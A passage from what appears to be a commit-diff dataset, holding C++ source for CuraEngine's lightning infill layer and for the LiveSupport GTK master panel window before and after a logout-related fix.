*old_root_it = std::move(new_root); \/\/ replace old root with new root\n }\n else\n {\n assert(ground.tree_node);\n assert(ground.tree_node != root_ptr);\n assert(!root_ptr->hasOffspring(ground.tree_node));\n assert(!ground.tree_node->hasOffspring(root_ptr));\n\n ground.tree_node->addChild(root_ptr);\n\n \/\/ remove old root\n *old_root_it = std::move(tree_roots.back());\n tree_roots.pop_back();\n }\n }\n}\n\n\/\/ Returns 'added someting'.\nPolygons LightningLayer::convertToLines() const\n{\n Polygons result_lines;\n if (tree_roots.empty())\n {\n return result_lines;\n }\n\n \/\/ TODO: The convert trees to lines 'algorithm' is way too simple right now (unless they're already going to be connected later).\n LightningTreeNode::branch_visitor_func_t convert_trees_to_lines =\n [&result_lines](const Point& node, const Point& leaf)\n {\n result_lines.addLine(node, leaf);\n };\n for (const auto& tree : tree_roots)\n {\n tree->visitBranches(convert_trees_to_lines);\n }\n return result_lines;\n}\n<commit_msg>No need for closure outside of fillLocator.<commit_after>\/\/Copyright (c) 2021 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include \"LightningLayer.h\"\n\n#include \"LightningTree.h\"\n\n#include \"..\/sliceDataStorage.h\"\n#include \"..\/utils\/linearAlg2D.h\"\n#include \"..\/utils\/SVG.h\"\n#include \"..\/utils\/SparsePointGridInclusive.h\"\n\nusing namespace cura;\n\ncoord_t LightningLayer::getWeightedDistance(const Point& boundary_loc, const Point& unsupported_loc)\n{\n return vSize(boundary_loc - unsupported_loc);\n}\n\nPolygonLightningDistanceField::PolygonLightningDistanceField\n(\n const coord_t& radius,\n const Polygons& current_outline,\n const Polygons& current_overhang,\n const std::vector<std::shared_ptr<LightningTreeNode>>& initial_trees\n)\n{\n supporting_radius = radius;\n Polygons supporting_polylines = current_outline;\n for (PolygonRef poly : supporting_polylines)\n {\n if (!poly.empty())\n {\n poly.add(poly[0]); \/\/ add start so that the polyline is closed\n }\n }\n \n const LightningTreeNode::branch_visitor_func_t add_offset_branch_func =\n [&](const Point& parent, const Point& child)\n {\n supporting_polylines.addLine(parent, child);\n };\n for (const auto& tree : initial_trees)\n {\n tree->visitBranches(add_offset_branch_func);\n }\n supported = supporting_polylines.offsetPolyLine(supporting_radius);\n unsupported = current_overhang.difference(supported);\n}\n\nbool PolygonLightningDistanceField::tryGetNextPoint(Point* p, coord_t supporting_radius) const\n{\n if (unsupported.area() < 25)\n {\n return false;\n }\n coord_t total_length = unsupported[0].polygonLength();\n coord_t dist_to_point_on_boundary = std::rand() % total_length;\n ClosestPolygonPoint cpp = PolygonUtils::walk(ClosestPolygonPoint(unsupported[0][0], 0, unsupported[0]), dist_to_point_on_boundary);\n *p = PolygonUtils::moveInside(cpp, supporting_radius);\n if (!unsupported.inside(*p))\n {\n PolygonUtils::moveInside(unsupported, *p, supporting_radius \/ 2);\n }\n \/\/ NOTE: it's okay for the rare case where a point ends up outside; it's just an inefficient tree branch.\n return true;\n}\n\nvoid PolygonLightningDistanceField::update(const Point& to_node, const Point& added_leaf)\n{\n Polygons line;\n line.addLine(to_node, added_leaf);\n Polygons offsetted = line.offsetPolyLine(supporting_radius, ClipperLib::jtRound);\n supported = supported.unionPolygons(offsetted);\n unsupported = unsupported.difference(supported);\n}\n\n\/\/ -- -- -- -- -- --\n\/\/ -- -- -- -- -- --\n\n\nLightningDistanceField::LightningDistanceField\n(\n const coord_t& radius,\n const Polygons& current_outline,\n const Polygons& current_overhang,\n const std::vector<std::shared_ptr<LightningTreeNode>>& initial_trees\n)\n: grid(cell_size)\n, supporting_radius(radius)\n, current_outline(current_outline)\n, current_overhang(current_overhang)\n{\n std::vector<Point> regular_dots = PolygonUtils::spreadDotsArea(current_overhang, cell_size);\n for (Point p : regular_dots)\n {\n const ClosestPolygonPoint cpp = PolygonUtils::findClosest(p, current_outline);\n const coord_t dist_to_boundary = vSize(p - cpp.p());\n unsupported_points.emplace_back(p, dist_to_boundary);\n }\n unsupported_points.sort([](const UnsupCell& a, const UnsupCell& b) { return a.dist_to_boundary < b.dist_to_boundary; });\n for (auto it = unsupported_points.begin(); it != unsupported_points.end(); ++it)\n {\n UnsupCell& cell = *it;\n unsupported_points_grid.emplace(grid.toGridPoint(cell.loc), it);\n }\n}\n\nbool LightningDistanceField::tryGetNextPoint(Point* p, coord_t supporting_radius) const\n{\n if (unsupported_points.empty()) return false;\n *p = unsupported_points.front().loc;\n return true;\n}\n\nvoid LightningDistanceField::update(const Point& to_node, const Point& added_leaf)\n{\n grid.processNearby(added_leaf, supporting_radius,\n [added_leaf, this](const SquareGrid::GridPoint& grid_loc)\n {\n auto it = unsupported_points_grid.find(grid_loc);\n if (it != unsupported_points_grid.end())\n {\n std::list<UnsupCell>::iterator& list_it = it->second;\n UnsupCell& cell = *list_it;\n if (shorterThen(cell.loc - added_leaf, supporting_radius))\n {\n unsupported_points.erase(list_it);\n unsupported_points_grid.erase(it);\n }\n }\n return true;\n });\n}\n\n\/\/ -- -- -- -- -- --\n\/\/ -- -- -- -- -- --\n\nPoint GroundingLocation::p() const\n{\n if (tree_node != nullptr)\n {\n return tree_node->getLocation();\n }\n else\n {\n assert(boundary_location);\n return boundary_location->p();\n }\n}\n\nvoid LightningLayer::fillLocator(SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>>& tree_node_locator)\n{\n const LightningTreeNode::node_visitor_func_t add_node_to_locator_func =\n [&tree_node_locator](std::shared_ptr<LightningTreeNode> node)\n {\n tree_node_locator.insert(node->getLocation(), node);\n };\n for (auto& tree : tree_roots)\n {\n tree->visitNodes(add_node_to_locator_func);\n }\n}\n\nvoid LightningLayer::generateNewTrees(const Polygons& current_overhang, Polygons& current_outlines, coord_t supporting_radius)\n{\n LightningDistanceField distance_field(supporting_radius, current_outlines, current_overhang, tree_roots);\n\n constexpr coord_t locator_cell_size = 2000;\n SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>> tree_node_locator(locator_cell_size);\n fillLocator(tree_node_locator);\n\n constexpr size_t debug_max_iterations = 9999; \/\/ TODO: remove\n size_t i_debug = 0;\n\n \/\/ Until no more points need to be added to support all:\n \/\/ Determine next point from tree\/outline areas via distance-field\n Point unsupported_location;\n while (distance_field.tryGetNextPoint(&unsupported_location, supporting_radius) && i_debug < debug_max_iterations)\n {\n ++i_debug;\n\n GroundingLocation grounding_loc = getBestGroundingLocation(unsupported_location, current_outlines, supporting_radius, tree_node_locator);\n\n \/\/ TODO: update unsupported_location to lie closer to grounding_loc\n\n auto tree_node = attach(unsupported_location, grounding_loc);\n tree_node_locator.insert(tree_node->getLocation(), tree_node);\n\n \/\/ update distance field\n distance_field.update(grounding_loc.p(), unsupported_location);\n }\n}\n\nGroundingLocation LightningLayer::getBestGroundingLocation(const Point& unsupported_location, const Polygons& current_outlines, const coord_t supporting_radius, const SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>>& tree_node_locator, const std::shared_ptr<LightningTreeNode>& exclude_tree)\n{\n ClosestPolygonPoint cpp = PolygonUtils::findClosest(unsupported_location, current_outlines);\n Point node_location = cpp.p();\n\n std::shared_ptr<LightningTreeNode> sub_tree(nullptr);\n coord_t current_dist = getWeightedDistance(node_location, unsupported_location);\n auto candidate_trees = tree_node_locator.getNearbyVals(unsupported_location, std::min(current_dist, supporting_radius));\n for (auto& candidate_wptr : candidate_trees)\n {\n auto candidate_sub_tree = candidate_wptr.lock();\n if (candidate_sub_tree && candidate_sub_tree != exclude_tree && !(exclude_tree && exclude_tree->hasOffspring(candidate_sub_tree)))\n {\n const coord_t candidate_dist = candidate_sub_tree->getWeightedDistance(unsupported_location, supporting_radius);\n if (candidate_dist < current_dist)\n {\n current_dist = candidate_dist;\n sub_tree = candidate_sub_tree;\n }\n }\n }\n\n if (!sub_tree)\n {\n return GroundingLocation{ nullptr, cpp };\n }\n else\n {\n return GroundingLocation{ sub_tree, std::optional<ClosestPolygonPoint>() };\n }\n}\n\nstd::shared_ptr<LightningTreeNode> LightningLayer::attach(const Point& unsupported_location, const GroundingLocation& grounding_loc)\n{\n \/\/ Update trees & distance fields.\n if (grounding_loc.boundary_location)\n {\n tree_roots.push_back(LightningTreeNode::create(grounding_loc.p(), unsupported_location));\n return tree_roots.back();\n }\n else\n {\n return grounding_loc.tree_node->addChild(unsupported_location);\n }\n}\n\nvoid LightningLayer::reconnectRoots(std::vector<std::shared_ptr<LightningTreeNode>>& to_be_reconnected_tree_roots, const Polygons& current_outlines, const coord_t supporting_radius)\n{\n constexpr coord_t locator_cell_size = 2000;\n SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>> tree_node_locator(locator_cell_size);\n fillLocator(tree_node_locator);\n\n for (auto root_ptr : to_be_reconnected_tree_roots)\n {\n auto old_root_it = std::find(tree_roots.begin(), tree_roots.end(), root_ptr);\n GroundingLocation ground = getBestGroundingLocation(root_ptr->getLocation(), current_outlines, supporting_radius, tree_node_locator, root_ptr);\n if (ground.boundary_location)\n {\n if (ground.boundary_location.value().p() == root_ptr->getLocation())\n {\n continue; \/\/ Already on the boundary.\n }\n\n auto new_root = LightningTreeNode::create(ground.p());\n new_root->addChild(root_ptr);\n tree_node_locator.insert(new_root->getLocation(), new_root);\n\n *old_root_it = std::move(new_root); \/\/ replace old root with new root\n }\n else\n {\n assert(ground.tree_node);\n assert(ground.tree_node != root_ptr);\n assert(!root_ptr->hasOffspring(ground.tree_node));\n assert(!ground.tree_node->hasOffspring(root_ptr));\n\n ground.tree_node->addChild(root_ptr);\n\n \/\/ remove old root\n *old_root_it = std::move(tree_roots.back());\n tree_roots.pop_back();\n }\n }\n}\n\n\/\/ Returns 'added someting'.\nPolygons LightningLayer::convertToLines() const\n{\n Polygons result_lines;\n if (tree_roots.empty())\n {\n return result_lines;\n }\n\n \/\/ TODO: The convert trees to lines 'algorithm' is way too simple right now (unless they're already going to be connected later).\n LightningTreeNode::branch_visitor_func_t convert_trees_to_lines =\n [&result_lines](const Point& node, const Point& leaf)\n {\n result_lines.addLine(node, leaf);\n };\n for (const auto& tree : tree_roots)\n {\n tree->visitBranches(convert_trees_to_lines);\n }\n return result_lines;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*------------------------------------------------------------------------------\n\n Copyright (c) 2004 Media Development Loan Fund\n \n This file is part of the LiveSupport project.\n http:\/\/livesupport.campware.org\/\n To report bugs, send an e-mail to bugs@campware.org\n \n LiveSupport is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n \n LiveSupport is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with LiveSupport; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n \n \n Author : $Author: fgerlits $\n Version : $Revision: 1.21 $\n Location : $Source: \/home\/paul\/cvs2svn-livesupport\/newcvsrepo\/livesupport\/products\/gLiveSupport\/src\/MasterPanelWindow.cxx,v $\n\n------------------------------------------------------------------------------*\/\n\n\/* ============================================================ include files *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"configure.h\"\n#endif\n\n#include <iostream>\n#include <unicode\/msgfmt.h>\n#include <gtkmm\/label.h>\n#include <gtkmm\/main.h>\n\n#include \"LiveSupport\/Core\/TimeConversion.h\"\n#include \"MasterPanelWindow.h\"\n\n\nusing namespace LiveSupport;\nusing namespace LiveSupport::GLiveSupport;\n\n\/* =================================================== local data structures *\/\n\n\n\/* ================================================ local constants & macros *\/\n\n\n\/* =============================================== local function prototypes *\/\n\n\n\/* ============================================================= module code *\/\n\n\/*------------------------------------------------------------------------------\n * Constructor.\n *----------------------------------------------------------------------------*\/\nMasterPanelWindow :: MasterPanelWindow (Ptr<GLiveSupport>::Ref gLiveSupport,\n Ptr<ResourceBundle>::Ref bundle)\n throw ()\n : LocalizedObject(bundle)\n{\n this->gLiveSupport = gLiveSupport;\n\n Ptr<WidgetFactory>::Ref widgetFactory = WidgetFactory::getInstance();\n\n \/\/ TODO: remove hard-coded station logo path reference\n radioLogoWidget = Gtk::manage(new Gtk::Image(\"var\/stationLogo.png\"));\n radioLogoWidget->set_size_request(158, 104);\n\n \/\/ set up the layout, which is a button box\n layout = Gtk::manage(new Gtk::Table());\n\n \/\/ set up the time label\n timeWidget = Gtk::manage(new Gtk::Label(\"time\"));\n timeBin = Gtk::manage(widgetFactory->createBlueBin());\n timeBin->add(*timeWidget);\n timeBin->set_size_request(153, 104);\n\n \/\/ set up the now playing widget\n nowPlayingWidget = Gtk::manage(new Gtk::Label(\"now playing\"));\n nowPlayingBin = Gtk::manage(widgetFactory->createDarkBlueBin());\n nowPlayingBin->add(*nowPlayingWidget);\n timeBin->set_size_request(-1, 104);\n\n \/\/ set up the VU meter widget\n vuMeterWidget = Gtk::manage(new Gtk::Label(\"VU meter\"));\n vuMeterBin = Gtk::manage(widgetFactory->createBlueBin());\n vuMeterBin->add(*vuMeterWidget);\n vuMeterBin->set_size_request(400, 40);\n \/\/ set up the next playing widget\n nextPlayingWidget = Gtk::manage(new Gtk::Label(\"next playing\"));\n nextPlayingBin = Gtk::manage(widgetFactory->createBlueBin());\n nextPlayingBin->add(*nextPlayingWidget);\n nextPlayingBin->set_size_request(400, 59);\n\n \/\/ create the bottom bar\n bottomBar = Gtk::manage(new Gtk::Table());\n bottomBar->set_size_request(-1, 30);\n buttonBar = Gtk::manage(new Gtk::Table());\n buttonBarAlignment = Gtk::manage(new Gtk::Alignment(Gtk::ALIGN_LEFT,\n Gtk::ALIGN_CENTER,\n 0, 0));\n buttonBarAlignment->add(*buttonBar);\n userInfoWidget = Gtk::manage(new MasterPanelUserInfoWidget(gLiveSupport,\n bundle));\n userInfoAlignment = Gtk::manage(new Gtk::Alignment(Gtk::ALIGN_RIGHT,\n Gtk::ALIGN_CENTER,\n 0, 0));\n userInfoAlignment->add(*userInfoWidget);\n bottomBar->attach(*buttonBarAlignment, 0, 1, 0, 1,\n Gtk::EXPAND|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n bottomBar->attach(*userInfoAlignment, 1, 2, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n \/\/ set up the main window, and show everything\n \/\/ all the localized widgets were set up in changeLanguage()\n set_border_width(10);\n layout->attach(*timeBin, 0, 1, 0, 2,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n layout->attach(*nowPlayingBin, 1, 2, 0, 2,\n Gtk::EXPAND|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n layout->attach(*vuMeterBin, 2, 3, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n layout->attach(*nextPlayingBin, 2, 3, 1, 2,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n layout->attach(*radioLogoWidget, 3, 4, 0, 2,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n layout->attach(*bottomBar, 0, 4, 2, 3,\n Gtk::EXPAND|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n add(*layout);\n\n \/\/ set the background to white\n bgColor = Colors::getColor(Colors::White);\n modify_bg(Gtk::STATE_NORMAL, bgColor);\n\n \/\/ set the size and location of the window, according to the screen size\n Glib::RefPtr<Gdk::Screen> screen = get_screen();\n int width;\n int height;\n get_size(width, height);\n width = screen->get_width();\n set_default_size(width, height);\n move(0, 0);\n set_decorated(false);\n\n \/\/ set the localized resources\n changeLanguage(bundle);\n\n \/\/ show what's there to see\n showAnonymousUI();\n\n \/\/ set the timer, that will update timeWidget\n setTimer();\n}\n\n\n\/*------------------------------------------------------------------------------\n * Destructor.\n *----------------------------------------------------------------------------*\/\nMasterPanelWindow :: ~MasterPanelWindow (void) throw ()\n{\n resetTimer();\n gLiveSupport->stopAudio();\n}\n\n\n\/*------------------------------------------------------------------------------\n * Change the language of the panel\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: changeLanguage(Ptr<ResourceBundle>::Ref bundle)\n throw ()\n{\n setBundle(bundle);\n\n try {\n set_title(*getResourceUstring(\"windowTitle\"));\n\n Ptr<WidgetFactory>::Ref wf = WidgetFactory::getInstance();\n\n uploadFileButton = wf->createButton(\n *getResourceUstring(\"uploadFileButtonLabel\"));\n scratchpadButton = wf->createButton(\n *getResourceUstring(\"scratchpadButtonLabel\"));\n simplePlaylistMgmtButton = wf->createButton(\n *getResourceUstring(\"simplePlaylistMgmtButtonLabel\"));\n schedulerButton = wf->createButton(\n *getResourceUstring(\"schedulerButtonLabel\"));\n searchButton = wf->createButton(\n *getResourceUstring(\"searchButtonLabel\"));\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n std::exit(1);\n }\n\n userInfoWidget->changeLanguage(bundle);\n\n \/\/ re-attach the localized widgets to the layout\n buttonBar->attach(*uploadFileButton, 0, 1, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*scratchpadButton, 1, 2, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*simplePlaylistMgmtButton, 2, 3, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*schedulerButton, 3, 4, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*searchButton, 4, 5, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n\n \/\/ re-bind events to the buttons\n uploadFileButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onUploadFileButtonClicked));\n scratchpadButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onScratchpadButtonClicked));\n simplePlaylistMgmtButton->signal_clicked().connect(\n sigc::mem_fun(*this,\n &MasterPanelWindow::onSimplePlaylistMgmtButtonClicked));\n schedulerButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onSchedulerButtonClicked));\n searchButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onSearchButtonClicked));\n}\n\n\n\/*------------------------------------------------------------------------------\n * Set the timer\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: setTimer(void) throw ()\n{\n sigc::slot<bool> slot = sigc::bind(sigc::mem_fun(*this,\n &MasterPanelWindow::onUpdateTime),\n 0);\n\n \/\/ set the timer to active once a second\n timer.reset(new sigc::connection(\n Glib::signal_timeout().connect(slot, 1000)));\n}\n\n\n\/*------------------------------------------------------------------------------\n * Clear the timer\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: resetTimer(void) throw ()\n{\n timer->disconnect();\n timer.reset();\n}\n\n\n\/*------------------------------------------------------------------------------\n * Update the timeWidget display, with the current time\n *----------------------------------------------------------------------------*\/\nbool\nMasterPanelWindow :: onUpdateTime(int dummy) throw ()\n{\n Ptr<const ptime>::Ref now;\n\n try {\n now = gLiveSupport->getScheduler()->getSchedulerTime();\n } catch (XmlRpcException &e) {\n \/\/ TODO: handle error\n }\n\n if (now.get()) {\n time_duration dayTime = now->time_of_day();\n \/\/ get the time of day, only up to a second precision\n time_duration dayTimeSec(dayTime.hours(),\n dayTime.minutes(),\n dayTime.seconds(),\n 0);\n\n timeWidget->set_text(to_simple_string(dayTimeSec));\n }\n\n return true;\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the upload file button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onUploadFileButtonClicked(void) throw ()\n{\n if (!scratchpadWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"uploadFileWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n uploadFileWindow.reset(new UploadFileWindow(gLiveSupport, bundle));\n }\n\n if (!uploadFileWindow->is_visible()) {\n uploadFileWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Scratchpad button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onScratchpadButtonClicked(void) throw ()\n{\n if (!scratchpadWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"scratchpadWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n scratchpadWindow.reset(new ScratchpadWindow(gLiveSupport, bundle));\n }\n\n if (!scratchpadWindow->is_visible()) {\n scratchpadWindow->show();\n }\n\n scratchpadWindow->showContents();\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Simple Playlist Management button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onSimplePlaylistMgmtButtonClicked(void) throw ()\n{\n if (!simplePlaylistMgmtWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"simplePlaylistManagementWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n simplePlaylistMgmtWindow.reset(\n new SimplePlaylistManagementWindow(gLiveSupport, bundle));\n }\n \n if (!simplePlaylistMgmtWindow->is_visible()) {\n simplePlaylistMgmtWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Scheduler button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onSchedulerButtonClicked(void) throw ()\n{\n if (!schedulerWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"schedulerWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n schedulerWindow.reset(new SchedulerWindow(gLiveSupport, bundle));\n }\n\n if (!schedulerWindow->is_visible()) {\n schedulerWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Search button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onSearchButtonClicked(void) throw ()\n{\n if (!searchWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"searchWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n searchWindow.reset(new SearchWindow(gLiveSupport, bundle));\n }\n\n if (!searchWindow->is_visible()) {\n searchWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Show only the UI components that are visible when no one is logged in\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: showAnonymousUI(void) throw ()\n{\n show_all();\n buttonBar->hide();\n uploadFileButton->hide();\n scratchpadButton->hide();\n simplePlaylistMgmtButton->hide();\n schedulerButton->hide();\n searchButton->hide();\n \n if (uploadFileWindow) {\n uploadFileWindow->hide();\n }\n if (scratchpadWindow) {\n scratchpadWindow->hide();\n }\n if (simplePlaylistMgmtWindow) {\n simplePlaylistMgmtWindow->hide();\n }\n if (schedulerWindow) {\n schedulerWindow->hide();\n }\n if (searchWindow) {\n searchWindow->hide();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Show the UI components that are visible to a specific user.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: showLoggedInUI(void) throw ()\n{\n show_all();\n}\n\n<commit_msg>all windows but the master panel are destroyed at logout fix for issue #878, see http:\/\/bugs.campware.org\/view.php?id=878<commit_after>\/*------------------------------------------------------------------------------\n\n Copyright (c) 2004 Media Development Loan Fund\n \n This file is part of the LiveSupport project.\n http:\/\/livesupport.campware.org\/\n To report bugs, send an e-mail to bugs@campware.org\n \n LiveSupport is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n \n LiveSupport is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with LiveSupport; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n \n \n Author : $Author: maroy $\n Version : $Revision: 1.22 $\n Location : $Source: \/home\/paul\/cvs2svn-livesupport\/newcvsrepo\/livesupport\/products\/gLiveSupport\/src\/MasterPanelWindow.cxx,v $\n\n------------------------------------------------------------------------------*\/\n\n\/* ============================================================ include files *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"configure.h\"\n#endif\n\n#include <iostream>\n#include <unicode\/msgfmt.h>\n#include <gtkmm\/label.h>\n#include <gtkmm\/main.h>\n\n#include \"LiveSupport\/Core\/TimeConversion.h\"\n#include \"MasterPanelWindow.h\"\n\n\nusing namespace LiveSupport;\nusing namespace LiveSupport::GLiveSupport;\n\n\/* =================================================== local data structures *\/\n\n\n\/* ================================================ local constants & macros *\/\n\n\n\/* =============================================== local function prototypes *\/\n\n\n\/* ============================================================= module code *\/\n\n\/*------------------------------------------------------------------------------\n * Constructor.\n *----------------------------------------------------------------------------*\/\nMasterPanelWindow :: MasterPanelWindow (Ptr<GLiveSupport>::Ref gLiveSupport,\n Ptr<ResourceBundle>::Ref bundle)\n throw ()\n : LocalizedObject(bundle)\n{\n this->gLiveSupport = gLiveSupport;\n\n Ptr<WidgetFactory>::Ref widgetFactory = WidgetFactory::getInstance();\n\n \/\/ TODO: remove hard-coded station logo path reference\n radioLogoWidget = Gtk::manage(new Gtk::Image(\"var\/stationLogo.png\"));\n radioLogoWidget->set_size_request(158, 104);\n\n \/\/ set up the layout, which is a button box\n layout = Gtk::manage(new Gtk::Table());\n\n \/\/ set up the time label\n timeWidget = Gtk::manage(new Gtk::Label(\"time\"));\n timeBin = Gtk::manage(widgetFactory->createBlueBin());\n timeBin->add(*timeWidget);\n timeBin->set_size_request(153, 104);\n\n \/\/ set up the now playing widget\n nowPlayingWidget = Gtk::manage(new Gtk::Label(\"now playing\"));\n nowPlayingBin = Gtk::manage(widgetFactory->createDarkBlueBin());\n nowPlayingBin->add(*nowPlayingWidget);\n timeBin->set_size_request(-1, 104);\n\n \/\/ set up the VU meter widget\n vuMeterWidget = Gtk::manage(new Gtk::Label(\"VU meter\"));\n vuMeterBin = Gtk::manage(widgetFactory->createBlueBin());\n vuMeterBin->add(*vuMeterWidget);\n vuMeterBin->set_size_request(400, 40);\n \/\/ set up the next playing widget\n nextPlayingWidget = Gtk::manage(new Gtk::Label(\"next playing\"));\n nextPlayingBin = Gtk::manage(widgetFactory->createBlueBin());\n nextPlayingBin->add(*nextPlayingWidget);\n nextPlayingBin->set_size_request(400, 59);\n\n \/\/ create the bottom bar\n bottomBar = Gtk::manage(new Gtk::Table());\n bottomBar->set_size_request(-1, 30);\n buttonBar = Gtk::manage(new Gtk::Table());\n buttonBarAlignment = Gtk::manage(new Gtk::Alignment(Gtk::ALIGN_LEFT,\n Gtk::ALIGN_CENTER,\n 0, 0));\n buttonBarAlignment->add(*buttonBar);\n userInfoWidget = Gtk::manage(new MasterPanelUserInfoWidget(gLiveSupport,\n bundle));\n userInfoAlignment = Gtk::manage(new Gtk::Alignment(Gtk::ALIGN_RIGHT,\n Gtk::ALIGN_CENTER,\n 0, 0));\n userInfoAlignment->add(*userInfoWidget);\n bottomBar->attach(*buttonBarAlignment, 0, 1, 0, 1,\n Gtk::EXPAND|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n bottomBar->attach(*userInfoAlignment, 1, 2, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n \/\/ set up the main window, and show everything\n \/\/ all the localized widgets were set up in changeLanguage()\n set_border_width(10);\n layout->attach(*timeBin, 0, 1, 0, 2,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n layout->attach(*nowPlayingBin, 1, 2, 0, 2,\n Gtk::EXPAND|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n layout->attach(*vuMeterBin, 2, 3, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n layout->attach(*nextPlayingBin, 2, 3, 1, 2,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n layout->attach(*radioLogoWidget, 3, 4, 0, 2,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n layout->attach(*bottomBar, 0, 4, 2, 3,\n Gtk::EXPAND|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 0, 0);\n add(*layout);\n\n \/\/ set the background to white\n bgColor = Colors::getColor(Colors::White);\n modify_bg(Gtk::STATE_NORMAL, bgColor);\n\n \/\/ set the size and location of the window, according to the screen size\n Glib::RefPtr<Gdk::Screen> screen = get_screen();\n int width;\n int height;\n get_size(width, height);\n width = screen->get_width();\n set_default_size(width, height);\n move(0, 0);\n set_decorated(false);\n\n \/\/ set the localized resources\n changeLanguage(bundle);\n\n \/\/ show what's there to see\n showAnonymousUI();\n\n \/\/ set the timer, that will update timeWidget\n setTimer();\n}\n\n\n\/*------------------------------------------------------------------------------\n * Destructor.\n 